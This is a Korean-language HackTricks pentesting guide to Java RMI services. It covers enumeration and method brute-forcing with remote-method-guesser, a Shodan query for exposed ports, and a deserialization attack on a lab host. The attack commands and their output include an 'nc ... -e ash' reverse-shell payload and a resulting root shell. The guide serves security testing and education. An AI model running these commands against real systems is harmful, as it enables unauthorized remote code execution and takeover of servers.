1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

κΈ°λ³Έ 정보

Java Remote Method Invocation λ˜λŠ” _Java RMI_λŠ” ν•œ _Java 가상 λ¨Έμ‹ _에 μœ„μΉ˜ν•œ 객체가 λ‹€λ₯Έ _Java 가상 λ¨Έμ‹ _에 μœ„μΉ˜ν•œ 객체의 λ©”μ„œλ“œλ₯Ό ν˜ΈμΆœν•  수 μžˆλ„λ‘ ν•˜λŠ” 객체 μ§€ν–₯ RPC λ©”μ»€λ‹ˆμ¦˜μž…λ‹ˆλ‹€. 이λ₯Ό 톡해 κ°œλ°œμžλŠ” 객체 μ§€ν–₯ νŒ¨λŸ¬λ‹€μž„μ„ μ‚¬μš©ν•˜μ—¬ λΆ„μ‚° μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μž‘μ„±ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 곡격적인 κ΄€μ μ—μ„œ _Java RMI_에 λŒ€ν•œ κ°„λ‹¨ν•œ μ†Œκ°œλŠ” 이 λΈ”λž™ν–‡ κ°•μ—°μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

기본 포트: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

보톡 κΈ°λ³Έ Java RMI ꡬ성 μš”μ†Œ(RMI Registry 및 Activation System)만 일반 ν¬νŠΈμ— λ°”μΈλ”©λ©λ‹ˆλ‹€. μ‹€μ œ RMI μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ κ΅¬ν˜„ν•˜λŠ” _remote objects_λŠ” 일반적으둜 μœ„μ˜ 좜λ ₯에 ν‘œμ‹œλœ λŒ€λ‘œ μž„μ˜μ˜ ν¬νŠΈμ— λ°”μΈλ”©λ©λ‹ˆλ‹€.

_nmap_은 λ•Œλ•Œλ‘œ _SSL_둜 보호된 RMI μ„œλΉ„μŠ€λ₯Ό μ‹λ³„ν•˜λŠ” 데 어렀움을 κ²ͺμŠ΅λ‹ˆλ‹€. 일반 RMI ν¬νŠΈμ—μ„œ μ•Œ 수 μ—†λŠ” ssl μ„œλΉ„μŠ€λ₯Ό λ°œκ²¬ν•˜λ©΄ μΆ”κ°€ 쑰사λ₯Ό ν•΄μ•Ό ν•©λ‹ˆλ‹€.

RMI ꡬ성 μš”μ†Œ

κ°„λ‹¨νžˆ 말해, _Java RMI_λŠ” κ°œλ°œμžκ°€ λ„€νŠΈμ›Œν¬μ—μ„œ _Java object_λ₯Ό μ‚¬μš©ν•  수 μžˆλ„λ‘ ν•©λ‹ˆλ‹€. μ΄λŠ” ν΄λΌμ΄μ–ΈνŠΈκ°€ μ—°κ²°ν•˜κ³  ν•΄λ‹Ή 객체의 λ©”μ„œλ“œλ₯Ό ν˜ΈμΆœν•  수 μžˆλŠ” TCP 포트λ₯Ό μ—½λ‹ˆλ‹€. 이게 κ°„λ‹¨ν•˜κ²Œ λ“€λ¦¬μ§€λ§Œ, _Java RMI_κ°€ ν•΄κ²°ν•΄μ•Ό ν•  μ—¬λŸ¬ κ°€μ§€ 도전 κ³Όμ œκ°€ μžˆμŠ΅λ‹ˆλ‹€:

  1. _Java RMI_λ₯Ό 톡해 λ©”μ„œλ“œ ν˜ΈμΆœμ„ μ „μ†‘ν•˜λ €λ©΄ ν΄λΌμ΄μ–ΈνŠΈλŠ” IP μ£Όμ†Œ, μˆ˜μ‹  포트, κ΅¬ν˜„λœ 클래슀 λ˜λŠ” μΈν„°νŽ˜μ΄μŠ€ 및 λŒ€μƒ 객체의 ObjIDλ₯Ό μ•Œμ•„μ•Ό ν•©λ‹ˆλ‹€( ObjIDλŠ” 객체가 λ„€νŠΈμ›Œν¬μ—μ„œ μ‚¬μš© κ°€λŠ₯ν•΄μ§ˆ λ•Œ μƒμ„±λ˜λŠ” κ³ μœ ν•˜κ³  μž„μ˜μ˜ μ‹λ³„μžμž…λ‹ˆλ‹€. _Java RMI_λŠ” μ—¬λŸ¬ 객체가 λ™μΌν•œ TCP ν¬νŠΈμ—μ„œ μˆ˜μ‹ ν•  수 μžˆλ„λ‘ ν—ˆμš©ν•˜κΈ° λ•Œλ¬Έμ— ν•„μš”ν•©λ‹ˆλ‹€).
  2. 원격 ν΄λΌμ΄μ–ΈνŠΈλŠ” λ…ΈμΆœλœ 객체의 λ©”μ„œλ“œλ₯Ό ν˜ΈμΆœν•˜μ—¬ μ„œλ²„μ—μ„œ λ¦¬μ†ŒμŠ€λ₯Ό ν• λ‹Ήν•  수 μžˆμŠ΅λ‹ˆλ‹€. _Java virtual machine_은 μ΄λŸ¬ν•œ λ¦¬μ†ŒμŠ€ 쀑 μ–΄λ–€ 것이 μ—¬μ „νžˆ μ‚¬μš© 쀑인지, μ–΄λ–€ 것이 κ°€λΉ„μ§€ μˆ˜μ§‘λ  수 μžˆλŠ”μ§€λ₯Ό 좔적해야 ν•©λ‹ˆλ‹€.

첫 번째 도전 κ³Όμ œλŠ” _RMI registry_에 μ˜ν•΄ ν•΄κ²°λ©λ‹ˆλ‹€. _RMI registry_λŠ” 기본적으둜 _Java RMI_λ₯Ό μœ„ν•œ 이름 μ„œλΉ„μŠ€μž…λ‹ˆλ‹€. RMI registry μžμ²΄λ„ _RMI service_μ΄μ§€λ§Œ, κ΅¬ν˜„λœ μΈν„°νŽ˜μ΄μŠ€μ™€ ObjIDλŠ” κ³ μ •λ˜μ–΄ 있으며 λͺ¨λ“  RMI ν΄λΌμ΄μ–ΈνŠΈκ°€ μ•Œκ³  μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό 톡해 RMI ν΄λΌμ΄μ–ΈνŠΈλŠ” ν•΄λ‹Ή TCP 포트만 μ•Œλ©΄ RMI registryλ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

κ°œλ°œμžκ°€ μžμ‹ μ˜ _Java objects_λ₯Ό λ„€νŠΈμ›Œν¬ λ‚΄μ—μ„œ μ‚¬μš© κ°€λŠ₯ν•˜κ²Œ λ§Œλ“€κ³ μž ν•  λ•Œ, 일반적으둜 이λ₯Ό _RMI registry_에 λ°”μΈλ”©ν•©λ‹ˆλ‹€. _registry_λŠ” 객체에 μ—°κ²°ν•˜λŠ” 데 ν•„μš”ν•œ λͺ¨λ“  정보(IP μ£Όμ†Œ, μˆ˜μ‹  포트, κ΅¬ν˜„λœ 클래슀 λ˜λŠ” μΈν„°νŽ˜μ΄μŠ€ 및 ObjID κ°’)λ₯Ό μ €μž₯ν•˜κ³  이λ₯Ό μ‚¬λžŒμ΄ 읽을 수 μžˆλŠ” 이름( bound name)으둜 μ œκ³΅ν•©λ‹ˆλ‹€. _RMI service_λ₯Ό μ‚¬μš©ν•˜λ €λŠ” ν΄λΌμ΄μ–ΈνŠΈλŠ” ν•΄λ‹Ή _bound name_에 λŒ€ν•΄ _RMI registry_에 μš”μ²­ν•˜κ³ , registryλŠ” μ—°κ²°ν•˜λŠ” 데 ν•„μš”ν•œ λͺ¨λ“  정보λ₯Ό λ°˜ν™˜ν•©λ‹ˆλ‹€. λ”°λΌμ„œ 상황은 기본적으둜 일반 DNS μ„œλΉ„μŠ€μ™€ λ™μΌν•©λ‹ˆλ‹€. λ‹€μŒ λͺ©λ‘μ€ μž‘μ€ 예제λ₯Ό λ³΄μ—¬μ€λ‹ˆλ‹€:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

μœ„μ—μ„œ μ–ΈκΈ‰ν•œ 두 번째 도전 κ³Όμ œλŠ” Distributed Garbage Collector (DGC)에 μ˜ν•΄ ν•΄κ²°λ©λ‹ˆλ‹€. μ΄λŠ” 잘 μ•Œλ €μ§„ ObjID 값을 κ°€μ§„ 또 λ‹€λ₯Έ _RMI service_이며 기본적으둜 λͺ¨λ“  _RMI endpoint_μ—μ„œ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. _RMI client_κ°€ _RMI service_λ₯Ό μ‚¬μš©ν•˜κΈ° μ‹œμž‘ν•˜λ©΄, ν•΄λ‹Ή _remote object_κ°€ μ‚¬μš© μ€‘μž„μ„ _DGC_에 μ•Œλ¦¬λŠ” 정보λ₯Ό μ „μ†‘ν•©λ‹ˆλ‹€. 그러면 _DGC_λŠ” μ°Έμ‘° 수λ₯Ό μΆ”μ ν•˜κ³  μ‚¬μš©λ˜μ§€ μ•ŠλŠ” 객체λ₯Ό 정리할 수 μžˆμŠ΅λ‹ˆλ‹€.

더 이상 μ§€μ›λ˜μ§€ μ•ŠλŠ” _Activation System_κ³Ό ν•¨κ»˜, 이듀은 _Java RMI_의 μ„Έ κ°€μ§€ κΈ°λ³Έ ꡬ성 μš”μ†Œμž…λ‹ˆλ‹€:

  1. RMI Registry (ObjID = 0)
  2. Activation System (ObjID = 1)
  3. Distributed Garbage Collector (ObjID = 2)

_Java RMI_의 κΈ°λ³Έ ꡬ성 μš”μ†ŒλŠ” κ½€ μ˜€λž«λ™μ•ˆ μ•Œλ €μ§„ 곡격 λ²‘ν„°μ˜€μœΌλ©°, ꡬ식 Java λ²„μ „μ—λŠ” μ—¬λŸ¬ 취약점이 μ‘΄μž¬ν•©λ‹ˆλ‹€. 곡격자의 κ΄€μ μ—μ„œ λ³Ό λ•Œ, μ΄λŸ¬ν•œ κΈ°λ³Έ ꡬ성 μš”μ†ŒλŠ” μ•Œλ €μ§„ 클래슀/μΈν„°νŽ˜μ΄μŠ€λ₯Ό κ΅¬ν˜„ν–ˆκΈ° λ•Œλ¬Έμ— ν₯λ―Έλ‘­κ³ , 이듀과 μƒν˜Έμž‘μš©ν•˜λŠ” 것이 μ‰½μŠ΅λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ μ‚¬μš©μž μ •μ˜ _RMI services_의 경우 상황이 λ‹€λ¦…λ‹ˆλ‹€. _remote object_μ—μ„œ λ©”μ„œλ“œλ₯Ό ν˜ΈμΆœν•˜λ €λ©΄ ν•΄λ‹Ή λ©”μ„œλ“œ μ‹œκ·Έλ‹ˆμ²˜λ₯Ό 미리 μ•Œμ•„μ•Ό ν•©λ‹ˆλ‹€. κΈ°μ‘΄ λ©”μ„œλ“œ μ‹œκ·Έλ‹ˆμ²˜λ₯Ό λͺ¨λ₯΄λ©΄ _RMI service_와 톡신할 방법이 μ—†μŠ΅λ‹ˆλ‹€.

RMI Enumeration

remote-method-guesserλŠ” 일반적인 _RMI vulnerabilities_λ₯Ό μžλ™μœΌλ‘œ 식별할 수 μžˆλŠ” Java RMI 취약점 μŠ€μΊλ„ˆμž…λ‹ˆλ‹€. RMI endpointλ₯Ό 식별할 λ•Œλ§ˆλ‹€ μ‹œλ„ν•΄ 보아야 ν•©λ‹ˆλ‹€:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

μ—΄κ±° μž‘μ—…μ˜ 좜λ ₯은 ν”„λ‘œμ νŠΈμ˜ λ¬Έμ„œ νŽ˜μ΄μ§€μ—μ„œ 더 μžμ„Ένžˆ μ„€λͺ…λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. 결과에 따라 μ‹λ³„λœ 취약점을 확인해 보아야 ν•©λ‹ˆλ‹€.

_remote-method-guesser_에 μ˜ν•΄ ν‘œμ‹œλœ ObjID 값은 μ„œλΉ„μŠ€μ˜ 가동 μ‹œκ°„μ„ κ²°μ •ν•˜λŠ” 데 μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” λ‹€λ₯Έ 취약점을 μ‹λ³„ν•˜λŠ” 데 도움이 될 수 μžˆμŠ΅λ‹ˆλ‹€:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

원격 λ©”μ„œλ“œ 브루트포슀

μ—΄κ±° 쀑에 취약점이 μ‹λ³„λ˜μ§€ μ•Šλ”λΌλ„, μ‚¬μš© κ°€λŠ₯ν•œ RMI μ„œλΉ„μŠ€λŠ” μ—¬μ „νžˆ μœ„ν—˜ν•œ κΈ°λŠ₯을 λ…ΈμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ, RMI κΈ°λ³Έ ꡬ성 μš”μ†Œμ— λŒ€ν•œ RMI 톡신은 역직렬화 ν•„ν„°λ‘œ λ³΄ν˜Έλ˜μ§€λ§Œ, μ‚¬μš©μž μ •μ˜ RMI μ„œλΉ„μŠ€μ™€ λŒ€ν™”ν•  λ•ŒλŠ” μ΄λŸ¬ν•œ ν•„ν„°κ°€ 일반적으둜 μ μš©λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. λ”°λΌμ„œ RMI μ„œλΉ„μŠ€μ—μ„œ μœ νš¨ν•œ λ©”μ„œλ“œ μ‹œκ·Έλ‹ˆμ²˜λ₯Ό μ•„λŠ” 것은 μ€‘μš”ν•©λ‹ˆλ‹€.

λΆˆν–‰νžˆλ„, _Java RMI_λŠ” _원격 객체_μ—μ„œ λ©”μ„œλ“œλ₯Ό μ—΄κ±°ν•˜λŠ” 것을 μ§€μ›ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. κ·Έλ ‡μ§€λ§Œ, remote-method-guesser λ˜λŠ” rmiscout와 같은 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ λ©”μ„œλ“œ μ‹œκ·Έλ‹ˆμ²˜λ₯Ό λΈŒλ£¨νŠΈν¬μŠ€ν•˜λŠ” 것은 κ°€λŠ₯ν•©λ‹ˆλ‹€:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

μ‹λ³„λœ 방법은 λ‹€μŒκ³Ό 같이 ν˜ΈμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

λ˜λŠ” λ‹€μŒκ³Ό 같이 역직렬화 곡격을 μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

더 λ§Žμ€ μ •λ³΄λŠ” λ‹€μŒ κΈ°μ‚¬μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€:

μΆ”μΈ‘ν•˜λŠ” 것 외에도, 검색 μ—”μ§„μ΄λ‚˜ _GitHub_μ—μ„œ λ§Œλ‚œ RMI μ„œλΉ„μŠ€μ˜ μΈν„°νŽ˜μ΄μŠ€λ‚˜ κ΅¬ν˜„μ„ μ°Ύμ•„λ³΄λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€. μ—¬κΈ°μ„œ _bound name_κ³Ό κ΅¬ν˜„λœ 클래슀 λ˜λŠ” μΈν„°νŽ˜μ΄μŠ€μ˜ 이름이 도움이 될 수 μžˆμŠ΅λ‹ˆλ‹€.

μ•Œλ €μ§„ μΈν„°νŽ˜μ΄μŠ€

remote-method-guesser λŠ” λ„κ΅¬μ˜ λ‚΄λΆ€ λ°μ΄ν„°λ² μ΄μŠ€μ— λ‚˜μ—΄λœ _RMI μ„œλΉ„μŠ€_인 경우 클래슀λ₯Ό known으둜 ν‘œμ‹œν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ 경우, ν•΄λ‹Ή _RMI μ„œλΉ„μŠ€_에 λŒ€ν•œ 더 λ§Žμ€ 정보λ₯Ό μ–»κΈ° μœ„ν•΄ known μž‘μ—…μ„ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] 	- [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)

Shodan

  • port:1099 java

Tools

References

HackTricks Automatic Commands

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°